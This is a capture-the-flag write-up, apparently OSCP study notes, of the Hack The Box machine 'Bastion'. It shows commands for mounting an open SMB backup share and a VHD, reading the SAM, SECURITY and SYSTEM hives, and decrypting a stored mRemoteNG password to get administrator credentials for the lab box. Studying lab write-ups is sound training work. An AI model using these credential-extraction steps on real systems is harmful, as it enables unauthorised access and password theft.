> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/htb/oscp-like-boxes/bastion.md).
# Bastion
### Full port Scan
### Aggressive Scan
### Enumerating SMB
### Connect to share
* Saw `Backups` share
```bash
smbclient //10.10.10.134/Backups -N
```
* Mounting SMB share
```bash
mount -t cifs //10.10.10.134/Backups /home/kali/Documents/htb/10.10.10.134/share
```
* View the filesystem present in the virtual hard disk
```bash
guestfish --ro -a 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
```
```bash
> run
> list-filesystems
```
* filesystem is `/dev/sda1`
* Mounting VHD
```bash
guestmount -a 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -m /dev/sda1 --ro /home/kali/Documents/htb/10.10.10.134/4_vhd
```
* Have access to the registry files (SAM, SECURITY, SYSTEM) in `c:\\windows\\system32\\config` folder
```bash
c:\\windows\\system32\\config\\SAM
c:\\windows\\system32\\config\\SECURITY
c:\\windows\\system32\\config\\SYSTEM
```
* Those files can be locked when the system is running but won’t have that issue on a mounted drive
* Having previously obtained the username as `L4mpje`, and the password `bureaulampje` —> can try to login via SSH
* Able to SSH and obtain user flag
### Privilege Escalation
* Using manual enumeration, I found `mRemoteNG` present in `c:\\Program Files (x86)`
*
* The above tool allows us to decrypt passwords stored by mRemoteNG
* Have to find the password stored in mRemoteNG ()
* The password hash is stored at `c:\\Users\\L4mpje\\AppData\\Roaming\\mRemoteNG\\confcons.xml`
* Obtained the hash `aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==`
* Decypt the hash using the tool
```bash
python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
```
* Therefore, we obtained the administrator credentials: `administrator:thXLHM96BeKL0ER2`
* Logging in via SSH, we are in the `Administrator` account